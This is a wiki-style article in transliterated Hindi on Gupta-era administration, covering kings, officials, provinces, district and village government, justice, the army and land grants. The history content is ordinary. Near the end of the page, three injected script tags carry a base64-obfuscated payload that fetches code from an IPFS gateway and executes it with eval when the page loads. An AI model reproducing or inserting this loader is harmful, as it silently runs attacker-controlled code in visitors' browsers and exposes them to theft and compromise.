गुप्तकालीन प्रशासन

gupt samratoan ke samay mean ganatantriy rajavyavastha ka hmas hua. gupt prashasan rajatantratmak vyavastha par adharit tha. devatv ka sidvant guptakalin shasakoan mean prachalit tha. rajapad vanshanugat siddhant par adharit tha. raja apane b de putr ko yuvaraj ghoshit karata tha. usane utkarsh ke samay mean gupt samrajy uttar mean himalay se lekar dakshin mean vianghyaparvat tak evan poorv mean bangal ki kha di se lekar pashchim mean saurashtr tak phaila hua tha.

guptavansh

shasak	shasanakal
1- chandragupt	319-335ee.
2- samudragupt	335-375ee
3- ramagupt	375-375ee
4- chandragupt dvitiy	375-414ee
5- kumaragupt mahendradity	414-455ee
6- skandagupt	455-467ee
7- purugupt	467-476ee.

• inake atirikt kuchh any shasak narasianhagupt (baladily), kumaragupt dvitiy, budhagupt, vainyagupt, bhanugupt, kumaragupt tritiy, vishnugupt adi mean milakar kul 476 ee. se 550 ee. tak shasan kiya.

gupt samrat nyay, sena evan divani vibhag ka pradhan hota tha. praja apane raja ko prithvi par eeshvar ke pratinidhi mean roop mean svikar karati thi. 'prayag prashasti' mean samudragupt ko prithvi par shasan karane vala eeshvar ka pratinidhi kaha jata hai. sath hi isaki tulana kuber, varun, indr v yamaraj se ki gee hai. gupt samrat 'param devata', 'parabhattarak', 'maharajadhiraj', 'prithvipal', 'parameshvar', 'samrat', 'ekadhikar' evan 'chakravartin', jaisi upadhiyaan dharan karata tha. isase yah sanket milata hai ki gupt rajaoan ne apane samrajy ke bhitar chhote-chhote rajaoan par shasan kiya. mauryottar kal mean uddhat samantavad ab zor pak dane laga. samrajy ke adhikatar bhag samantoan ke adhin hote the. ve samrat ke darabar mean svayan upasthit hokar samman nivedan karate, nazarana chadhate aur vivaharth apani putri samarpit karate. isake badale unhean apane kshetr par adhikar ka sanad milata tha. guptakalin raniyoan ko 'paramabhattarikakh', 'parabhattarikarajni' evan 'mahadevi' jaisi upadhiyaan di gee. samrat prashasan ke kushal sanchalan hetu ek 'mantrimandal' ka gathan karata tha. isamean 'amaty', 'sachiv' evan 'mantri' hote the. gupt kalin abhilekhoan se nimn mantrimandaliy sadasyoan ke vishayay mean janakari milati hai.

guptakalin abhilekhoan se prapt kendriy adhikari gan

1. sarvadhyaksh- rajy ke sabhi kendriy vibhag ka pramukh adhikari.
2. pratihar evan mahapratihar - samrat se milane ki ichchha rakhane valoan ko ajnapatr dena inaka mukhy kary tha. pratihar antahpur ka rakshak evan mahapratihar rajamahal ke rakshakoan ka mukhiya hota tha.
3. kumaramaty- padadhikariyoan ka sarvashreshth, varg, inhean uchch se uchch pad par niyukt kiya ja sakata tha.

mahadandanayak

• samudragupt ke prayag prashasti se jnat hota hai ki harishan ek hi sath kumaramaty, sandhivigrahik evan mahadandanayak ka kary karata tha.

mahadandanayak sadasy vibhag 1- mahasenapati sena ka sarvochch adhikar. 2- mahapilupati gajasena ka adhyaksh 3- mahashvapati ashvasena ka adhyaksh 4- mahasandhivigrahik yuddh aur shaanti ka mantri 4- dand pashik pulis vibhag ka mukhy adhikari. 5- vinay sthiti sthapak dharmik mamaloan ka pramukh adhikari 6- ranabhaandagarik sainikoan ki avashyakataoan ki poorti karane vala pradhan adhikari. 7- mahabaladhikrit sainik adhikari. 8- mahadandanayak yuddh evan nyay-vibhag ka kary dekhane vala. 9- mahabhandagaradhikrit rajakiy kosh ka pradhan 10- mahaakshapatalik abhilekh vibhag ka pradhan 11- dhruvadhikaran kar vasoolane vale vibhag ka pradhan. 12- agraharik dan vibhag ka pradhan.

guptakalin praantiy prashasan prantiy prashasak kal prant 1- govind gupt chandragupt dvitiy tirabhukti 2- ghatochkach gupt kumar gupt poorvi malava 3- parnadatt skandagupt saurashtr 4- chiradatt kumaragupt uttari bangal

praantiy prashasan

kushal prashasan ke lie vishal gupt samrajy kee prantoan mean banta tha. prantoan ko 'desh', 'bhukti' athava 'avani' kaha jata tha. samrat dvara jo svayan shasit hota tha usaki sabase b di prashasanik eekaee 'desh' ya 'rashtr' kahalati thi. 'joonagadh abhilekh' mean saurashtr ko ek desh kaha gaya hai. chandragupt ke ek abhilekh mean sukuti (madhyabharat) namak desh ka ullekh milata hai. desh ka rashtr ka prashasak 'gopta' kaha jata tha. joonagadh abhilekh se jnat hota hai ki saurashtr ke gopta parnadatt ki niyukti svayan gupt samrat ne ki thi. bhukti ke prashasan ko ‘uparik‘ v ‘uparik maharaj‘ kaha jata tha. sima prantoan ke prashasak ‘goshtha‘ kahalaye the. in padoan par rajakumar ya rajavansh se sambandhit vyakti ko hi niyukt kiya jata tha. chandragupt dvitiy ka chhota putr govindagupt tin bhukti ka (adhunik darabhanga) tatha kumaragupt ka pratham putr ghatotkachagupt poorvi malava ka rajyapal tha. guptakalin abhilekhoan mean kuchh praantiy prashasakoan ka vivaran milata hai. in shasakoan ko prantoan mean 5 varsh ke lie niyukt kiya jata tha.

janapad shasan

bhukti ka vibhajan janapadoan mean kiya gaya tha. janapadoan ko ‘vishay‘ kaha jata tha, jisaka pradhan adhikari ‘vishayapati‘ hota tha. vishayapati ko 'kumaramaty' bhi kaha gaya hai. kumaragupt pratham ke mandasaur abhilekh mean 'lata' vishay ka ullekh milata hai. hoon shasak toraman ke samay ke eran varah abhilekh mean 'erikiran' vishay ka varnan milata hai. 'aantarvedi' vishay ki niyukti svayan samrat skandagupt ne ki thi.

• vishayapati ke adhin karmachariyoan mean shamil the-

1. shaukkik- kar vasoolane vala.
2. gaulmik - sthaniy fauj athava jangaloan ka adhikari.
3. pustapal, karanik- dastavej sanrakshan

• vishayapati ka pradhan karyalay adhishthan kahalata hai.

vishayapati ke sahayog hetu ek samiti hoti thi. inake sadasyoan ko ‘vishayamahattar‘ kaha jata tha, jinamean nimn varg ke log sadasy hote the-

1. nagarashreshthi (pooanjipati varg ka neta)
2. sarthavah (vishay ke vyapariyoan ka neta),
3. pratham kulik (shilpiyoan v vyavasayiyoan ka mukhiya),
4. pratham kayasth (mukhy lekhak).

‘prastapal‘ abhilekhoan ko surakshit rakhane vale adhikari ko kahate the. vishay vithiyoan mean bante the vidhi ki samiti mean bhoosvamiyoan evan sainik karyoan se sambaddh vyaktiyoan ko rakha gaya tha. vithi se chhoti eekaee peth thi. peth anek gram ke samoohoan ko kaha jata tha. yah gram samooh ki chhoti eekaee thi. isaka ullekh sankshobh ke khoh abhilekh mean milata hai jahaan opani namak gram ko kananag peth ke aantargat bataya gaya hai.

nagar prashasan

guptakalin praant

prant	kshetr
1- saurashtr	joonagadh(gujarat)
2- pashchimi malava	avanti
3- poorvi malava	eran
4- tirabhukti	uttari bihar
5- pundravarddhan	uttari bangal
6- varddhaman	uttari bangal
7- magadh	pashchimi bangal

nagaroan ka prashasan nagar mahapalikaoan dvara chalaya jata tha. ‘purapal‘ nagar ka mukhy adhikari hota tha. vah kumaramaty ke shreni ka adhikari hota tha. joonagadh lekh se jnat hota hai ki giranar nagar ka purapal chakrapalit tha. nagar ke shasan ke lie niyukti samiti ko sambhavatah ‘paur‘ kaha jata tha.

gram prashasan

‘gram‘ shasan ki sabase chhoti kaee hoti thi. ‘gram sabha‘ dvara isaka prashasan sanchalit hota tha. gram sabha ka mukhiya ‘gramik‘ kahalata tha evan sadasyoan ko ‘mahattar‘ kaha jata tha jo gram ke pratishthit evan kulin vyaktiyoan ka pratinidhitv karate the. kuchh guptakalin abhilekhoan mean gram sabha ko ‘gram janapad‘ evan ‘panchamandali‘ kaha gaya hai.

• gupt kalin prashasanik eekaee arohi kram mean is prakar the -

desh ya rashtrabhukti <- vishay <- bithi <- peth <- gram.

nyayaprashasan

samrat samrajy ka sarvochch nyayadhish hota tha. isake atirikt mukhy nyayadhish evan any nyayadhish hote the. is kal mean anek vidhi-granth sankalit kie ge. pahali bar divani aur faujadari qanoon bhali-bhaanti paribhashit aur prithakkrit hue. chori aur vyabhichar faujadari qanoon mean ae aur sampatti sambandhi vivad divani qanoon mean. vyapariyoan evan vyavasayiyoan ki shreni hoti thi. ye shreniyaan shreni dharm ke adhar par apane vivadoan ka nipatara karati thi. ‘poog‘ nagar mean nivas karane vali vibhinn jatiyoan ki samiti hoti thi. ‘kul‘ saman parivaroan ke sadasyoan ki samiti hoti thi. samitiyaan rajy dvara manyata prapt thian. ye samitiyaan apasi vivad mean nirnay deti thi. guptakalin abhilekhoan mean nyayadhishoan ka ullekh 'mahadandanayak', 'dandanayak' evan 'sarvadandanayak' ke roop mean milata hai.

sainik sangathan

mantrimandaliy sadasy

sadasy	vibhag
1- harishen	yah samudragupt ka sandhivigrahik evan mahadandanayak tha.
2- shav (virasen)	chandragupt dvitiy ka sandhivigrahik
3- shikharasvami	chandragupt dvitiy ka mantri evan kumaramaty
4- prithvishen	kumaragupt ka mantri evan kumaramaty

raja ke pas sthayi sena thi. sena ke char pramukh aang the-

1. padati,
2. ratharohi,
3. ashvarohi
4. gajasena.

sarvachch senadhikari 'mahabaladhikrit' kahalata tha. hathiyoan ki sena ke pradhan ko 'mahapilupati' kahate the. ghudasavaroan ki sena ke pradhan ko 'bhatashshvapati' kahate the. padati samanoan ki avastha karane vale adhikari ko 'ranabhandagarika' kahate the. padati sena ki tuk di ko 'chamooy' kaha jata tha. gajasena ke nayak ko 'katuk' tatha ashvarohi sena ke pramukh ko 'atashvapati' kaha jata tha. prayag prashasti ke guptakal ke kuchh astr-shastroan ke nam milate hai jaise- parashu, shar, shanku, tomar, mindipal, narach adi.

gupt kal mean prashasan ki ek mukhy visheshata yah thi ki is samay vetanoan ki adayagi naqad mean n dekar samanyatah bhoomi anudan ke roop mean ki jati thi. do tarah ka bhoomi anudan prachalan mean tha. ‘agrahar‘ sirf brahmanoan ko prapt hone vala anudan hota tha. isake aantargat ane vali bhoomi kar mukt hoti thi. is bhoomi par grahita ke vanshanugat adhikar ke bad bhi raja yadi grahita ke vyavahar se santushth nahian hai to vah is bhoomi ko vapas le sakata tha. doosare prakar ka bhoomi anudan vah hota tha jise raja apane adhikariyoan ko unaki seva ke badale upahar ke roop mean deta tha. 5vian shati tak bhoomidan ki pravritti mean kafi parivartan hue aur ab bhoodan praptakarta ko bhoomi par rajasv prapt karane ke adhikar ke sath-sath us bhookhand par prashasan ka bhi adhikar mil gaya. kalantar mean in donoan adhikaroan se surakshit varg hi 'samant' kahalaya . satavahan kal se bhoomidan ki pratha shuroo huee. sarvadhik bhoomi anudan guptakal mean diya gaya . gramin bhoomi svami ko 'gramika', 'kutumbika' aur 'nastar' kaha jata tha. chhote kisanoan ko 'krishivala', 'krishak' aur 'kisan' kaha jata tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>